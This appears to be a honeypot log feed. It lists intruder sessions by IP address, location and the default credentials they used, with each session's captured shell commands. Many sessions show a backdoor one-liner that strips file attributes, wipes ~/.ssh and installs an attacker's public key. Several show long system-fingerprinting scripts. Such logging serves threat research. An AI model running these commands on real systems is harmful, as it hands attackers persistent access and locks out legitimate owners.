$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 jittery_eagle_root (184.168.21.211) — Tempe, United States · 1 session · 2 cmds

2026-07-01 16:42 EDT · as oracle/Aa123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 feral_static_root (91.92.40.6) — Varna, Bulgaria · 37 sessions · 168 cmds

2026-06-21 11:11 EDT · as admin/123456, admin/admin, admin/admin123

PATH normalization via export → OS fingerprinting with uname -s -v -n -m → kernel version extraction from /proc/version → OS release check via /etc/os-release → uptime retrieval from /proc/uptime → data sanitization via cut and redirect to /dev/null.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

$ uname -s -v -n -m 2 > /dev/null ×37

$ /bin/uname -s -v -n -m 2 > /dev/null ×4

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×4

$ busybox uname -s -v -n -m 2 > /dev/null ×4

$ ( [ -f /proc/version ] ×4

$ [ -f /proc/version ] ×4

$ head -1 /proc/version | cut -d -f1 ×4

$ [ -f /etc/os-release ] ×4

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×2

$ uname -m 2 > /dev/null ×33

$ cat /proc/uptime 2 > /dev/null ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×31

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×31

🎭 crimson_rendang_root (157.20.189.179) — Ngaglik Timur, Indonesia · 1 session · 1 cmd

2026-07-01 08:56 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 placid_ghost_root (91.92.40.124) — Varna, Bulgaria · 22 sessions · 22 cmds

2026-07-01 05:13 EDT · as admin/123456, admin/admin123, admin/password

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×22

🎭 brazen_ghost_root (81.192.46.49) — Rabat, Morocco · 1 session · 2 cmds

2026-07-01 04:54 EDT · as oracle/0000

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 glitchy_rendang_root (69.5.23.222) — Yogyakarta, Indonesia · 1 session · 2 cmds

2026-07-01 04:32 EDT · as oracle/0000

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_samba_root (200.108.174.4) — Bom Jesus das Selvas, Brazil · 1 session · 2 cmds

2026-07-01 04:32 EDT · as oracle/123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_kopi_root (47.84.107.173) — Singapore, Singapore · 21 sessions · 21 cmds

2026-06-30 13:39 EDT · as admin/123456, admin/admin, deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×21

🎭 spectral_muay_root (203.170.192.251) — Huai Khwang, Thailand · 1 session · 2 cmds

2026-07-01 03:20 EDT · as oracle/1qaz!QAZ

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 feral_yankee_root (20.96.179.87) — Boydton, United States · 1 session · 2 cmds

2026-07-01 03:13 EDT · as oracle/1qaz!QAZ

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 gnarled_pho_root (103.82.21.8) — Dich Vong, Vietnam · 1 session · 2 cmds

2026-07-01 03:12 EDT · as oracle/password

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_kebab_root (194.146.47.161) — Bursa, Türkiye · 1 session · 2 cmds

2026-07-01 03:11 EDT · as oracle/password

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 grumpy_windmill_root (34.178.21.247) — Groningen, Netherlands · 48 sessions · 48 cmds

2026-06-22 02:49 EDT · as admin/123456, admin/admin, admin/password

echo (repeated echo 12x)

$ echo SHELL_TEST ×48

🎭 obsidian_merlion_root (8.219.95.97) — Singapore, Singapore · 5 sessions · 5 cmds

2026-06-30 21:33 EDT · as admin/123456, oracle/oracle123, oracle/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×5

🎭 derelict_fika_root (155.4.244.169) — Lärbro, Sweden · 1 session · 2 cmds

2026-07-01 01:24 EDT · as oracle/Qq123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 manic_monsoon_root (135.235.138.43) — Pune, India · 1 session · 2 cmds

2026-07-01 01:20 EDT · as oracle/Qq123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 restless_static_root (220.247.224.226) — Meegoda, Sri Lanka · 1 session · 2 cmds

2026-07-01 01:15 EDT · as oracle/Qq123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 murky_ramen_root (111.238.174.6) — Nukui, Japan · 1 session · 2 cmds

2026-07-01 01:12 EDT · as oracle/Qq123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_dutch_root_61 (91.92.42.61) — Amsterdam, The Netherlands · 31 sessions · 31 cmds

2026-06-30 23:53 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 frantic_volcano_root (175.103.54.172) — Utan, Indonesia · 1 session · 2 cmds

2026-07-01 01:06 EDT · as oracle/Qq123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 aloof_drifter_root (91.92.40.239) — Varna, Bulgaria · 31 sessions · 31 cmds

2026-06-30 23:30 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 jittery_junk_root (8.217.192.50) — Hong Kong, Hong Kong · 16 sessions · 16 cmds

2026-06-17 09:27 EDT · as admin/123456, admin/admin, oracle/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×16

🎭 feral_durian_root (47.237.12.112) — Singapore, Singapore · 13 sessions · 13 cmds

2026-06-30 20:44 EDT · as admin/admin, admin/admin123, admin/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×13

🎭 sneaky_peak_root (152.32.171.216) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-30 23:50 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 frantic_dragon_db (115.29.171.141) — Hangzhou, China · 2 sessions · 2 cmds

2026-06-17 00:19 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 rogue_bazaar_root (88.249.195.23) — Istanbul, Türkiye · 1 session · 2 cmds

2026-06-30 22:52 EDT · as oracle/1q2w3e4r

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rabid_cipher_root (91.92.40.10) — Varna, Bulgaria · 39 sessions · 211 cmds

2026-06-18 02:06 EDT · as admin/123456, admin/admin, admin/admin123

export PATH manipulation → uname -s -v -n -m OS fingerprinting via /proc/version and /proc/uptime → discarded output redirection → no further reconnaissance or exploitation attempts

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×11

$ uname -s -v -n -m 2 > /dev/null ×39

$ /bin/uname -s -v -n -m 2 > /dev/null ×11

